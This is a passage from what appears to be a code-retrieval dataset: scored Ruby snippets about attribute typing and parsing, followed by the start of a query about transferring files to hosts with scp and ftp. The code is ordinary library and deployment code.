key.to_s.match?(CAMEL_CASED)\n key.to_s.camelize(:upper).underscore.to_sym\n else\n key.to_sym\n end\n attributes[param] = value\n end\n end", "title": "" }, { "docid": "7d1034b2031c2edd9d8e43e786e6bfcc", "score": "0.54492974", "text": "def create_sample_attribute_type\n FactoryBot.create(:string_sample_attribute_type)\n end", "title": "" }, { "docid": "468faca263c1debfc5c5d71759581364", "score": "0.5425851", "text": "def attribute_before_type_cast(name)\n @attributes ||= {}\n @attributes[name.to_s]\n end", "title": "" }, { "docid": "148e1df4a78c6e094cbfd6b7b50d4a6e", "score": "0.54039586", "text": "def convert_to_class(*attributes)\n\n unless self.class <= ::Symbol || self.class <= ::String || self.class <= ::Class\n raise ::ArgumentError, \"object must be symbol or string to make able build class to it\"\n end\n\n class_name= self.to_s\n\n unless self.class <= ::Class\n\n class_name= class_name[0].upcase+class_name[1..class_name.length]\n %w[ _ . : / ].each do |one_sym|\n\n loop do\n index_nmb= class_name.index(one_sym)\n break if index_nmb.nil?\n class_name[index_nmb..index_nmb+1]= class_name[index_nmb+1].upcase\n end\n\n end\n\n end\n\n create_attribute = ::Proc.new do |*args|\n\n end\n\n unless class_name.class_exists?\n\n self.class.const_set(\n class_name,\n ::Class.new\n )\n\n end\n\n\n class_name.constantize.class_eval do\n attributes.each do |one_attribute|\n attr_accessor one_attribute.to_s.to_sym\n end\n end\n\n\n\n return true\n\n end", "title": "" }, { "docid": "10b2691e8298557076a938e193fc675f", "score": "0.5402804", "text": "def parse_type_string(document, type_string)\n\t\t# translate type string into class object\n\t\tif type_string == 'none'\n\t\t\t:none\n\t\telsif type_string == 'Camera'\n\t\t\tThoughtTrace::Camera\n\t\telsif type_string == 'Query'\n\t\t\tThoughtTrace::Queries::Query\n\t\telse\n\t\t\tif basic_type?(type_string)\n\t\t\t\t# puts \"basic type detected\"\n\t\t\t\t# p BASIC_TYPE_ASSOC\n\t\t\t\t# p BASIC_TYPE_ASSOC.assoc(type_string)\n\t\t\t\tBASIC_TYPE_ASSOC.assoc(type_string).last\n\t\t\telsif prefab_type?(document, type_string)\n\t\t\t\t# TODO: remember to search linked documents for prefab definition as well, once linked documents have been implemented\n\t\t\t\traise \"Using prefab types as action targets has not yet been implemented\"\n\t\t\telse\n\t\t\t\traise \"Unexpected error\"\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "6a8f43e38807e422e6279989f01da26e", "score": "0.539898", "text": "def name_to_type(name)\n all.body.find { |_, type| type['name'].casecmp(name).zero? }.first\n end", "title": "" }, { "docid": "bae43e88854279a0209a01031640167c", "score": "0.5395269", "text": "def get_type_of_attribute_by_index_of_attribute_of_tuple index_of_attribute_of_tuple\n return @names_and_types_of_attributes[get_name_of_attribute_by_index_of_attribute_of_tuple index_of_attribute_of_tuple]\n end", "title": "" }, { "docid": "153c5e9a65c5deaa9bd86ecc4604b0ca", "score": "0.53936386", "text": "def get_type(str)\n if (str.include? \"type:\")\n match_and_normalize text: str, pattern: /type:\\s*(.*)\\n/\n end\n end", "title": "" }, { "docid": "a7c7e3cf0f04d27debad330a513091bc", "score": "0.53840476", "text": "def attribute_type(obj, attribute_name)\r\n #Added self. because of uppercase fileds like Art are misinterprede as Constants...\r\n out = obj.instance_eval(\"self.\" + attribute_name.to_s + \".class.name.to_sym\") if safe?(obj, attribute_name)\r\n #Rails::logger.info(\"TableBuilder#attribute_type attribute=#{attribute_name.inspect}, out=#{out.inspect}\")\r\n out == :Time ? :DateTime : out\r\n end", "title": "" }, { "docid": "f89393f12df14777288349acd8d8a809", "score": "0.537402", "text": "def create_typed_attributes_from_xml(attributes)\n filter_attributes_for(attributes, xml_typed_entities) do |name, options|\n item = attributes.delete(name) # attributes[:sum]\n item = options[:class].from_xml_attributes(item) # Sum.from_xml_attributes\n # DISCUSS: we could also run a hook here.\n attributes[name] = item\n end\n end", "title": "" }, { "docid": "441c62d6d62f3a021e2af30215e614ed", "score": "0.536421", "text": "def type_for_attribute(attr_name, &block)\n attr_name = attr_name.to_s\n attr_name = attribute_aliases[attr_name] || attr_name\n\n if block\n attribute_types.fetch(attr_name, &block)\n else\n attribute_types[attr_name]\n end\n end", "title": "" }, { "docid": "c06871110fabc9b027f0a46376699ff1", "score": "0.535927", "text": "def get_attribute_type(name)\n @types[name]\n end", "title": "" }, { "docid": "a12d733cf9d27bc18ad8f3b14f971108", "score": "0.53486556", "text": "def create_sample_attribute_type\n Factory(:string_sample_attribute_type)\n end", "title": "" }, { "docid": "929b4178351034ca519bd4a59df658c4", "score": "0.53483695", "text": "def read_attribute_before_type_cast(attr_name); end", "title": "" }, { "docid": "9b4074b3f05187595af459d347480b27", "score": "0.5333238", "text": "def parse_attribute(e)\n return {:name => e.attribute('name').to_s,\n :class => get_class_path(e.attribute('type').to_s),\n :min => e.attribute('use').to_s == 'required' ? '1' : '0',\n :max => '1',\n :order => 0,\n :doc => doc(e),\n :type => :attribute\n }\n end", "title": "" }, { "docid": "228ddb3a6c650861d3b7b0ec0a5caf83", "score": "0.53151715", "text": "def valid_attributes\n { name: \"MyString\" }\n end", "title": "" }, { "docid": "b0e9de0de0c167a3141fa9e05028cc1f", "score": "0.52871054", "text": "def has_attribute_before_type_cast?(name)\n attributes_before_type_cast.key?(name.to_s)\n end", "title": "" }, { "docid": "873f18a48582ccf05c8541a4cdecedee", "score": "0.5284244", "text": "def have_attributes(*names)\n Matchers::Attributes.new(*names)\n end", "title": "" }, { "docid": "2ae5f82ce97982c04db34cf9b749df44", "score": "0.52841485", "text": "def valid_attributes\n { \"name\" => \"MyString\", \"value\" => \"SELECT * FROM contests\" }\n end", "title": "" }, { "docid": "e78dea344c88d125d76c67a1aaca4c9c", "score": "0.5277781", "text": "def attribute(path, type)\n path.select { |x| x[0].is_a? type }[0][1]\n end", "title": "" }, { "docid": "d643bd91c57a87ba75513fdeb7db3bff", "score": "0.52681327", "text": "def check_attribute_values(resource, class_type, name, additional_values = {})\n default_values = {:type => class_type.to_s, :name => name}\n values = default_values.merge(additional_values)\n expect(resource).to have_attributes(values)\n end", "title": "" }, { "docid": "35039cb1591a693d9c70a5e659e12b1c", "score": "0.52615064", "text": "def valid_attributes\n { \"name\" => \"MyString\" }\n end", "title": "" }, { "docid": "3968f9bf2bb952df6adcc06f19621d98", "score": "0.5259138", "text": "def apply_type_to_scalar(string) #:nodoc:\n return string if string?\n return string.to_i if integer?\n return %w{true 1}.include?(string) ? true : false if boolean?\n return UCB::LDAP.local_datetime_parse(string) if timestamp?\n raise \"unknown type '#{type}' for attribute '#{name}'\"\n end", "title": "" }, { "docid": "683b5603b02369238d44ce73ad1ca3ae", "score": "0.5252794", "text": "def cast_types(params)\n default_attributes.each do |key, value|\n params[key] =\n case value\n when String then String(params[key])\n when Float then Float(params[key])\n when Integer then Integer(params[key])\n else params[key]\n end\n end\n params\n end", "title": "" }, { "docid": "6e38768a99019c4fb4bec9a38a1aabea", "score": "0.5252755", "text": "def parse_attributes(attributes)\n attributes.each_with_object({}) do |attribute, hash|\n hash[attribute[:name].downcase.to_sym] = attribute[:content]\n end\nend", "title": "" }, { "docid": "c2868b2680459f4e76bc18f94d58e0d8", "score": "0.5240924", "text": "def guess_field_type(object, attr)\n object_class = if object.class === Class\n object\n else\n object.class\n end\n\n belongs_to_fields = object_class.reflect_on_all_associations(:belongs_to).map(&:name)\n has_many_fields = object_class.reflect_on_all_associations(:has_many).map(&:name)\n has_one_fields = object_class.reflect_on_all_associations(:has_one).map(&:name)\n\n return if attr.is_a? Hash\n\n type = if object_class&.uploaders&.key?(attr.to_sym)\n \"image\"\n elsif belongs_to_fields.include?(attr.to_sym)\n \"belongs_to\"\n elsif has_many_fields.include?(attr.to_sym)\n \"has_many\"\n elsif has_one_fields.include?(attr.to_sym)\n \"has_one\"\n else\n object_class.type_for_attribute(attr.to_s).type.to_s\n end\n\n # Virtual field default string eg password\n return \"string\" if object_class.new.respond_to?(attr) && type.blank?\n\n # Raise exception if no type fouded\n raise Exception.new(\"Unable to guess field_type for attribute: #{attr} in model: #{object_class}\") if type.blank?\n type\n end", "title": "" }, { "docid": "4429dfe993caed5dff66b92aa0aade50", "score": "0.52382344", "text": "def create_typed_attributes_from_xml(attributes)\n filter_attributes_for(attributes, self.class.xml_typed_entities) do |name, options|\n item = attributes.delete(name) # attributes[:sum]\n item = options[:class].from_xml_attributes(item) # Sum.from_xml_attributes\n # DISCUSS: we could also run a hook here.\n attributes[name] = item\n end\n end", "title": "" }, { "docid": "a880a850be033ab076c4f1ef14cfdf19", "score": "0.5234449", "text": "def attr(oc,at)\n self['objectClasses'].each do |s|\n if( s =~ /NAME\\s+'#{oc}'/ )\n case s\n when /#{at}\\s+\\(([\\w\\d_\\-\\s\\$]+)\\)/i then return $1.split(\"$\").collect{|attr| attr.strip}\n when /#{at}\\s+([\\w\\d_\\-]+)/i then return $1.split(\"$\").collect{|attr| attr.strip}\n end\n end\n end\n\n return nil\n end", "title": "" }, { "docid": "628a1087f89175406ab4d875abe4c2d9", "score": "0.52339065", "text": "def attribute_before_type_cast(attr_name); end", "title": "" }, { "docid": "290baee91e80881268e04f0ee992d0e3", "score": "0.52303874", "text": "def type_for_attribute(attr_name, &block)\n if block\n attribute_types.fetch(attr_name, &block)\n else\n attribute_types[attr_name]\n end\n end", "title": "" }, { "docid": "334854eeb185ee4a19acc048154760c3", "score": "0.5227569", "text": "def type_from_args(*args)\n find_from_args(args, :quey => :type, :class => Symbol)\n end", "title": "" }, { "docid": "c07787f30ee9460ee319fc8b9d232c08", "score": "0.52217513", "text": "def convert_type(attributes)\n if attributes.type == :text\n return 'text[]' if attributes.array\n 'text'\n else\n convert_hash[attributes.type] || attributes.type.to_s\n end\n end", "title": "" }, { "docid": "e2c25c885ec83fc048cba9e80529b0b9", "score": "0.5219341", "text": "def classify_attribute(attr)\n # Classify the attribute declaration\n\n match = 0\n if attr.type_attribute\n attr._form = :attribute_type\n match += 1\n end\n if attr.ref\n attr._form = :attribute_ref\n match += 1\n end\n\n if attr.simpleType\n attr._form = :attribute_anonymous_simpleType\n match += 1\n end\n\n if match != 1\n raise 'internal error' # expecting exactly one of the above forms\n end\n end", "title": "" }, { "docid": "b8ce0d8681278d4793b88b7661b28f5a", "score": "0.5204368", "text": "def attributes_before_type_cast\n self.attribute_names.inject({}) do |attrs, name|\n attrs[name] = read_attribute_before_type_cast(name)\n attrs\n end\n end", "title": "" }, { "docid": "77caa2d501a0effd5abe34128fcc73b1", "score": "0.52029496", "text": "def type\n case attributes['type']\n when 'boolean' then :boolean\n when 'fixed' then :fixed\n when 'hidden' then :hidden\n when 'jid-multi' then :jid_multi\n when 'jid-single' then :jid_single\n when 'list-multi' then :list_multi\n when 'list-single' then :list_single\n when 'text-multi' then :text_multi\n when 'text-private' then :text_private\n when 'text-single' then :text_single\n else nil\n end\n end", "title": "" }, { "docid": "d64a2d3731b78466f2e4c0a00d5045fa", "score": "0.5202187", "text": "def attr_map(schema)\n @log.debug \"#{__method__} called by #{caller_locations(1, 1)[0].label}\"\n attrs_camel = [ 'objectClass' ]\n attrs_camel.concat(schema['must'].map { |s| s.sub(/^@/, '') })\n attrs_camel.concat(schema['may'].map { |s| s.sub(/^@/, '') })\n Hash[attrs_camel.map { |s| [s.downcase.to_sym, s.to_sym ] }]\n end", "title": "" }, { "docid": "cb71d93a8720bb4110d601af58f1552e", "score": "0.5199903", "text": "def attr_types\n @attr_types ||= {\n :time => %w(expires_on),\n :url => %w(href),\n :resource => %w(image_href),\n :encrypted => %w(password) |\n ::MiqRequestWorkflow.all_encrypted_options_fields.map(&:to_s) |\n ::Vmdb::Settings::PASSWORD_FIELDS.map(&:to_s)\n }\n end", "title": "" }, { "docid": "05d878de5a0dddc9c5afed772e47d2d4", "score": "0.5198404", "text": "def resolve_types!\n typed_params.each do |param, type|\n val = self[param]\n case\n when val.nil? then val = nil\n when (type == :boolean) then\n if ['false', false, 0, '0', ''].include?(val) then val = false else val = true end\n when ((type == Array) && val.is_a?(String))\n val = val.split(\",\") rescue nil\n # following types map blank to nil\n when (val.blank?) then val = nil\n when (type == :filename) then val = File.expand_path(val)\n when (type == Float) then val = val.to_f\n when (type == Integer) then val = val.to_i\n when (type == Symbol) then val = val.to_s.to_sym rescue nil\n when ((val.to_s == 'now') && (type == Date)) then val = Date.today\n when ((val.to_s == 'now') && (type == DateTime)) then val = DateTime.now\n when (type == Date) then val = Date.parse(val) rescue nil\n when (type == DateTime) then val = DateTime.parse(val) rescue nil\n else # nothing\n end\n self[param] = val\n end\n end", "title": "" }, { "docid": "b058050f808375fd05e4cc2869f2d9a1", "score": "0.51964206", "text": "def string_attributes(*args)\n args.each do |arg|\n json_attribute arg, as: :string\n end\n end", "title": "" }, { "docid": "09fcb0f4999247e259699701b1eb66bf", "score": "0.51824284", "text": "def decamelize_type(model_string)\n model_string ? model_string.to_s.underscore : nil\nend", "title": "" }, { "docid": "59e7d0037b99263e9d4e8f614cb25232", "score": "0.5175471", "text": "def const_missing(name)\n Attribute.determine_type(name) || super\n end", "title": "" }, { "docid": "12b3eaf6793ac5a3776b9e9203d98be3", "score": "0.5169749", "text": "def find_strings_from_response(hash)\n list_of_definitions = []\nhash.attributes.each do |k,v|\n if v.class == String\n list_of_definitions << v\n end\n end\n list_of_definitions\nend", "title": "" }, { "docid": "f034a59ac8ff36e3298c80d3dc6f7685", "score": "0.51684266", "text": "def parse_attr_list(str, mapping=self.class.attribute_mapping_from)\n properties = {}\n attrs = []\n if !str or (attrs = str.split()).empty?\n return nil\n end \n\n attrs.each { |i|\n if i.include? \"=\" # Ignore if it does not include '='\n (key_str, val) = i.split('=')\n # Check the key\n if !key_str or key_str.empty?\n info \"Empty key in string 'i'?\"\n continue\n end\n key = key_str.to_sym\n \n properties = self.load_attribute(key, val, mapping, properties)\n end\n }\n properties.empty? ? nil : properties\n end", "title": "" }, { "docid": "67e6ce4135171e019e84447942e37921", "score": "0.5167261", "text": "def find_deeptype_by attr_name, value\n return nil unless column_names.include? attr_name.to_s\n\n where(attr_name => value.to_s)\n end", "title": "" }, { "docid": "657667f2807e3de8c76b4508b111cc8c", "score": "0.5164978", "text": "def get_attribute_type(klass:, name:)\n get_attribute(klass: klass, name: name)[:type]\n end", "title": "" }, { "docid": "f4df23ca337432ea8eac564301b65bb3", "score": "0.5163887", "text": "def decamelize_type(model_string)\r\n model_string ? model_string.to_s.underscore : nil\r\nend", "title": "" }, { "docid": "4a17e633e3b232999e557a28902ced82", "score": "0.51637304", "text": "def deserialize_typed_attributes(attributes)\n filter_attributes_for(attributes, self.class.typed_entities) do |name, options|\n item = attributes.delete(name) # attributes[:sum]\n item = options[:class].from(mime_type, item) # Sum.from_xml_attributes\n attributes[name] = item\n end\n end", "title": "" }, { "docid": "4a4f2a36de537466b90399d293bfb0a1", "score": "0.51630217", "text": "def attribute_type(name)\n @attribute_types[name]\n end", "title": "" }, { "docid": "64d08b046986abd6183c84e724659446", "score": "0.51580215", "text": "def gen_attr_type_hash\n ATTR_TYPES.each { |type, attrs| attrs.each { |a| normalized_attributes[type][a] = true } }\n gen_time_attr_type_hash\n end", "title": "" }, { "docid": "6638a8bd1455cda3718a6553e7e419cc", "score": "0.51515234", "text": "def lookup_which_subtype_to_create(parent_name, attr_name)\n begin\n attr = attr_name.to_s.to_camel_case\n \n p = @parser.types[parent_name]\n a = p[attr]\n a = p.select{|pk| pk.downcase == attr.downcase}.values.first if a.nil?\n \n s = a[:type]\n \n subtype = s.gsub(/ns:/, '')\n \n subtype\n \n rescue Exception => e\n puts \"Exception: #{e.to_s} parent_name: #{parent_name} attr_name: #{attr_name} attr: #{attr}\"\n nil\n end \n end", "title": "" }, { "docid": "3028e8afdeb039137fee2c8403416cff", "score": "0.51499474", "text": "def attributes_before_type_cast\n self.attribute_names.inject({}) do |attrs, name|\n attrs[name] = read_attribute_before_type_cast(name)\n attrs\n end\n end", "title": "" }, { "docid": "800a91387c6c34614f267dfffffdc567", "score": "0.51498586", "text": "def build(name, attributes)\n klass = class_for(name, attributes.keys + [:_type])\n keys = klass.new.to_h.keys\n klass.new(attributes.slice(*keys).merge(_type: name))\n end", "title": "" }, { "docid": "e9ac901678cb51843c1e7f307204b098", "score": "0.5144853", "text": "def to_attributes string\n matches = normalize(matches string)\n patterns.inject Attributes.new do |acc, pattern|\n key = pattern.class.to_s\n matches.include?(key) ? pattern.process(acc, matches[pattern.class.to_s]) : acc\n end\n end", "title": "" }, { "docid": "7997865b484a9d9a3c8c2d46ee91f7f4", "score": "0.5143311", "text": "def type\n attributes[\"type\"]\n end", "title": "" }, { "docid": "2e1ced3afd5e37d0be124628f5026a29", "score": "0.5122165", "text": "def get_type_name(str)\n if str == \"Fact\"\n\t return \"Faktenwissen\"\n\telsif str == \"Action\"\n\t return \"Anwendungswissen\"\n\telsif str == \"InstructionalKnowledge\"\n\t return \"Handlungswissen\"\n else str == \"Orientation\"\n\t return \"Orientierungswissen\"\n\tend\n end", "title": "" }, { "docid": "d28eef9a045c435d9951270f1547d4ba", "score": "0.51218104", "text": "def type_names(type_name_string)\n type_name_string\n .split(/\\W+/)\n .select { |t| !t.empty? }\n .select { |t| !is_primitive_swift_type?(t) }\n end", "title": "" }, { "docid": "d28eef9a045c435d9951270f1547d4ba", "score": "0.5119754", "text": "def type_names(type_name_string)\n type_name_string\n .split(/\\W+/)\n .select { |t| !t.empty? }\n .select { |t| !is_primitive_swift_type?(t) }\n end", "title": "" }, { "docid": "7e3bcbef1416b100f9c77abca06556ee", "score": "0.5112222", "text": "def parse_attributes attribute_list\n attribute_list.scan(/\\s*(\\w+)\\s*=\\s*\"([^\"]+)\"\\s*/)\n .map { |k,v| [k.downcase.to_sym, v] }\n .to_h\nend", "title": "" }, { "docid": "7e3bcbef1416b100f9c77abca06556ee", "score": "0.5112222", "text": "def parse_attributes attribute_list\n attribute_list.scan(/\\s*(\\w+)\\s*=\\s*\"([^\"]+)\"\\s*/)\n .map { |k,v| [k.downcase.to_sym, v] }\n .to_h\nend", "title": "" }, { "docid": "13032ed6b3fc949b43937b6e910b0d26", "score": "0.51108855", "text": "def infer_string_type\n types = [nil]\n each do |val| merge_types(types, [val.to_s.infer_type]) end\n types[0]\n end", "title": "" }, { "docid": "2ade20c075538fac68c65b40fc5d7171", "score": "0.51089126", "text": "def parse_types; end", "title": "" }, { "docid": "c261dd54a4ee78e84c95e89cd87d2181", "score": "0.5099328", "text": "def attribute_type(attribute_name)\n return NilClass if Array(deprecated_attributes).include? attribute_name\n\n Hash(defined_attributes).fetch(attribute_name).fetch :type\n end", "title": "" }, { "docid": "9d2840f7178c4545f75d05da845d1a00", "score": "0.50991726", "text": "def include_attr?(attr)\n return if !attr\n @types.split(\",\").each{ |type|\n return true if type.strip.chomp.upcase == attr.strip.chomp.upcase\n }\n return nil\n end", "title": "" }, { "docid": "2f712a54185a8984ec69e51aa526fc57", "score": "0.50950885", "text": "def parse_to_type(str)\n\n parsed_value = \\\n case @type\n when :numeric\n str.to_i\n when :string\n # No typing specified or actively disabled, just return the object\n str\n when :bool\n str == \"true\"\n when Array\n str.intern\n else\n str\n end\n\n @value = parsed_value\n end", "title": "" }, { "docid": "0d11a174c816715f1208f7b508b838f3", "score": "0.5089229", "text": "def class\n\t\tbegin\n\t\t\tdefined?(::Rails) && @attributes[:_type] ? @attributes[:_type].camelize.constantize : super\n\t\trescue NameError\n\t\t\tsuper\n\t\tend\n\tend", "title": "" }, { "docid": "31ba5f210cf758c6cdd98c0d5a768662", "score": "0.5085265", "text": "def valid_attributes\n { \"hostname\" => \"MyString\" }\n end", "title": "" }, { "docid": "cbe796867547174883b72ad5c9a92145", "score": "0.5084781", "text": "def guessed_types\n unless @guessed_types\n if search_args.length > 0\n if search_args[0].is_a?(Symbol)\n @guessed_types = [search_args[0]]\n else\n @guessed_types = [:id, :css, :xpath, :link_or_button, :fillable_field, :radio_button, :checkbox, :select, :option,\n :file_field, :table, :field, :fieldset, :content].select do |test_type|\n begin\n @test_object.all(test_type, *search_args, visible: false).length > 0\n rescue\n # Normally bad form, but for this function, we just don't want this to throw errors.\n # We are only concerned with whatever actually succeeds.\n false\n end\n end\n end\n end\n end\n\n @guessed_types\n end", "title": "" }, { "docid": "8a9828a8260a8df72273ec6351396f27", "score": "0.50841945", "text": "def klass\n match = object_name.to_s.match(/\\[(\\w+)\\]$/)\n if match\n attribute_match = match[1].match(/^(\\w+)_attributes$/)\n match = attribute_match if attribute_match\n match[1].classify.constantize\n else\n object_name.to_s.classify.constantize\n end\n end", "title": "" }, { "docid": "78054656e3b56b3ffa90f74ee9558a47", "score": "0.5082502", "text": "def match_types(input, outnode, attrs, op)\n (0..op.input_arg.length - 1).each do |i|\n inType = input[i].outdatatypes[input[i].definition.name]\n attrs[op.input_arg[i].type_attr] = inType if inType != 0 and op.input_arg[i].type_attr\n end\n\n (0..op.output_arg.length - 1).each do |i|\n argType = type_to_enum(op.output_arg[i].type)\n if op.output_arg[i].type_attr != \"\" and argType != 0\n attrs[op.output_arg[i].type_attr] = argType # TODO\n end\n end\n\n op.attr.each do |attribute|\n if attribute.type == \"type\"\n isTypeProvided = attrs[attribute.name]\n attrs[attribute.name] = type_to_enum(attribute.default_value) if !isTypeProvided\n end\n end\n\n op.output_arg.each do |arg|\n argType = type_to_enum(arg.type)\n outnode.outdatatypes[outnode.definition.name] = attrs[arg.type_attr]\n # TODO\n end\n nil\n end", "title": "" }, { "docid": "e8f61de2088a5c64492b8a9bc0459ce5", "score": "0.5079826", "text": "def user_type_attributes\n \"\n id\n firstName\n shortDesc\n longDesc\n distance\n \"\nend", "title": "" }, { "docid": "b7b72240c2268be46e049e8bc7c1a4a4", "score": "0.5067429", "text": "def gen_attr_type_hash\n attr_types.each { |type, attrs| attrs.each { |a| Environment.normalized_attributes[type][a] = true } }\n gen_time_attr_type_hash\n end", "title": "" }, { "docid": "1ab0adbfa60e7280000d887cb851261f", "score": "0.5064218", "text": "def fields_for_type(type)\n # hack: allow for omitting the \"unity_\" prefix\n # require 'pry';binding.pry\n type = type.downcase\n type = \"unity_#{type}\" unless type.start_with?('unity_')\n attributes = Puppet::Type.type(type.to_sym).context.type.attributes\n attributes.values.map { |v| v[:field_name] }.select { |f| !f.nil? }\n end", "title": "" }, { "docid": "f7fcbcbc4a115f1b6d4fe87034fa5cd9", "score": "0.5058529", "text": "def read_attribute_before_type_cast(name)\n attr = name.to_s\n if attributes_before_type_cast.key?(attr)\n attributes_before_type_cast[attr]\n else\n read_raw_attribute(attr)\n end\n end", "title": "" }, { "docid": "5689703ee28b29dd1f2dd0f461e576aa", "score": "0.505715", "text": "def typecast_attributes\n @attributes.each_pair do |name,value|\n attr_type = attr_type_for(name)\n next unless attr_type\n case attr_type\n when \"bool\"\n @attributes[name] = (value == \"1\")\n end\n end\n @attributes\n end", "title": "" }, { "docid": "0c5f8fd271af1d83853daa4702271d06", "score": "0.5052277", "text": "def populate_from_params(obj, params)\n return if obj.nil?\n\n # Make sure everything is loaded\n if obj.is_a?(LinkedData::Models::Base)\n obj.bring_remaining unless !obj.exist?\n end\n\n params.each do |attribute, value|\n next if value.nil?\n\n # Deal with empty strings\n empty_string = value.is_a?(String) && value.empty?\n old_string_value_exists = obj.respond_to?(attribute) && obj.send(attribute).is_a?(String)\n if old_string_value_exists && empty_string\n value = nil\n elsif empty_string\n next\n end\n\n attribute = attribute.to_sym\n attr_cls = obj.class.range(attribute)\n attribute_settings = obj.class.attribute_settings(attribute)\n\n not_hash_or_array = !value.is_a?(Hash) && !value.is_a?(Array)\n not_array_of_hashes = value.is_a?(Array) && !value.first.is_a?(Hash)\n\n if attr_cls == LinkedData::Models::Class\n # Try to find dependent Goo objects, but only if the naming is not done via Proc\n # If naming is done via Proc, then try to lookup the Goo object using a hash of attributes\n is_arr = value.is_a?(Array)\n value = is_arr ? value : [value]\n new_value = []\n value.each do |cls|\n sub = LinkedData::Models::Ontology.find(uri_as_needed(cls[\"ontology\"])).first.latest_submission\n new_value << LinkedData::Models::Class.find(cls[\"class\"]).in(sub).first\n end\n value = is_arr ? new_value : new_value[0]\n elsif attr_cls && not_hash_or_array || (attr_cls && not_array_of_hashes)\n # Replace the initial value with the object, handling Arrays as appropriate\n if value.is_a?(Array)\n value = value.map {|e| attr_cls.find(uri_as_needed(e)).include(attr_cls.attributes).first}\n else\n value = attr_cls.find(uri_as_needed(value)).include(attr_cls.attributes).first\n end\n elsif attr_cls\n # Check to see if the resource exists in the triplestore\n if value.is_a?(Array)\n retrieved_values = []\n value.each do |e|\n retrieved_value = attr_cls.where(e.symbolize_keys).first\n if retrieved_value\n retrieved_values << retrieved_value\n else\n retrieved_values << populate_from_params(attr_cls.new, e.symbolize_keys).save\n end\n end\n else\n retrieved_values = attr_cls.where(value.symbolize_keys).to_a\n unless retrieved_values\n retrieved_values = populate_from_params(attr_cls.new, e.symbolize_keys).save\n end\n end\n value = retrieved_values\n elsif attribute_settings && attribute_settings[:enforce] && attribute_settings[:enforce].include?(:date_time)\n # TODO: Remove this awful hack when obj.class.model_settings[:range][attribute] contains DateTime class\n value = DateTime.parse(value)\n elsif attribute_settings && attribute_settings[:enforce] && attribute_settings[:enforce].include?(:uri)\n # TODO: Remove this awful hack when obj.class.model_settings[:range][attribute] contains RDF::IRI class\n value = RDF::IRI.new(value)\n end\n\n # Don't populate naming attributes if they exist\n if obj.class.model_settings[:name_with] != attribute || obj.send(attribute).nil?\n obj.send(\"#{attribute}=\", value) if obj.respond_to?(\"#{attribute}=\")\n end\n end\n obj\n end", "title": "" }, { "docid": "9613e701b358bccd95006849d4a21979", "score": "0.5052216", "text": "def build(attrs = {})\n attrs[:type] ? attrs[:type].constantize.new(attrs) : new(attrs)\n end", "title": "" }, { "docid": "42923aa3145f13c194c8c55c3dc2a2cc", "score": "0.5046065", "text": "def attrtype(name)\n raise NotImplementedError, \"attrtype() - returns the kind (:meta, :param, or :property) of the parameter\"\n # @attr_types[name]\n end", "title": "" }, { "docid": "25772083967947d3aa44e2f279a70459", "score": "0.50447196", "text": "def prepare_attributes(attributes)\n # Convert string keys to symbols\n symboled_attributes = Checklister::Sanitizer.symbolize attributes\n # Clean up user_attributes from unwanted, nil and duplicate options\n symboled_attributes.select { |key, _| ATTRIBUTES.include? key }\n .delete_if { |_, v| v.nil? }\n end", "title": "" }, { "docid": "fd10d1be00b98499419bd1c8ab1fd845", "score": "0.50375396", "text": "def method_missing(*args)\n options = args.last.is_a?(::Hash) ? args.pop : {}\n attribute = args[1]\n type = args[0]\n\n type(attribute, type, options)\n end", "title": "" }, { "docid": "cda1009382c484dc0d839c7c96227c95", "score": "0.5037477", "text": "def attribute(name, type = Object)\n attributes[name] = type\n\n attr_reader name\n end", "title": "" }, { "docid": "b63d3ad768473aacd016d276a5b6dc22", "score": "0.50361466", "text": "def attribute!(name, *types, **options)\n name = name.to_sym\n types = types.map do |type|\n next type if type.is_a?(Parameter)\n next parameter!(type) if type.is_a?(Symbol)\n next self.class.new(type) unless type.is_a?(Type)\n type\n end\n attributes[name] = Attribute.new(self, name, *types, **options)\n end", "title": "" }, { "docid": "352904c440033100c6e2e185d0a0f3ab", "score": "0.5036107", "text": "def detect_type(object)\n case object\n when Symbol\n object.to_s.singularize.to_sym\n else\n object\n end\n end", "title": "" } ]
593809db3d7198c8a65e1ee7a9c12531
Transfer files to a host in the NodeSet.
[ { "docid": "42d4351925b9a7b643c89c2594466e89", "score": "0.0", "text": "def rcp(opts)\n dest = opts[:d].name\n source = opts[:sp]\n dest_path = opts[:dp]\n\n # Grab a remote path for temp transfer\n tmpdest = tmppath\n\n # Do the copy and print out results for debugging\n ssh = RSpec.configuration.rspec_storage[:nodes][dest][:ssh]\n ssh.scp.upload! source.to_s, tmpdest.to_s, :recursive => true\n\n # Now we move the file into their final destination\n result = run(:n => opts[:d], :c => \"mv #{tmpdest} #{dest_path}\")\n if result[:exit_code] == 0\n return true\n else\n return false\n end\n end", "title": "" } ]
[ { "docid": "a9b699b756df0077261fbdfcec5a60e4", "score": "0.72665244", "text": "def transfer!\n connection do |ftp|\n create_remote_directories(ftp)\n\n files_to_transfer do |local_file, remote_file|\n Logger.message \"#{storage_name} started transferring \" +\n \"'#{ local_file }' to '#{ ip }'.\"\n ftp.put(\n File.join(local_path, local_file),\n File.join(remote_path, remote_file)\n )\n end\n end\n end", "title": "" }, { "docid": "7d74d7bcb05123c829ec07ebb654f338", "score": "0.7250295", "text": "def transfer!\n files_to_transfer do |local_file, remote_file|\n Logger.message \"#{storage_name} started transferring '#{ local_file }'.\"\n directory = connection.directories.get(remote_path)\n directory ||= connection.directories.create(:key => remote_path)\n directory.files.create(\n :key => remote_file,\n :body => File.open(File.join(local_path, local_file))\n )\n end\n end", "title": "" }, { "docid": "fd227d9ee7e92f65cf5563f3857d8966", "score": "0.71936834", "text": "def transfer!\n connection do |ssh|\n create_remote_directories(ssh)\n\n files_to_transfer do |local_file, remote_file|\n Logger.message \"#{storage_name} started transferring \" +\n \"'#{local_file}' to '#{ip}'.\"\n\n ssh.scp.upload!(\n File.join(local_path, local_file),\n File.join(remote_path, remote_file)\n )\n end\n end\n end", "title": "" }, { "docid": "b79a620e244fe3f0aa95cb1aa50da468", "score": "0.70442337", "text": "def upload\n @files.each do |fn|\n run %{scp -q #{@local_dir}/#{fn} #{@host}:#{@remote_dir}}\n end\n end", "title": "" }, { "docid": "6f9a88f3617bdfb8d4c0dc2d734a9864", "score": "0.6953755", "text": "def file_transfer_tree(args, source_folders_param, working_directory, deploy_root)\n # The list of hosts on which files have not been deployed yet\n pending_hosts = hosts(args).dup\n\n # Pick one host that will be our starting point\n root_host = pending_hosts.first\n pending_hosts.delete root_host\n\n # Upload all the files to this host\n on root_host do |host|\n host_transfer(host, 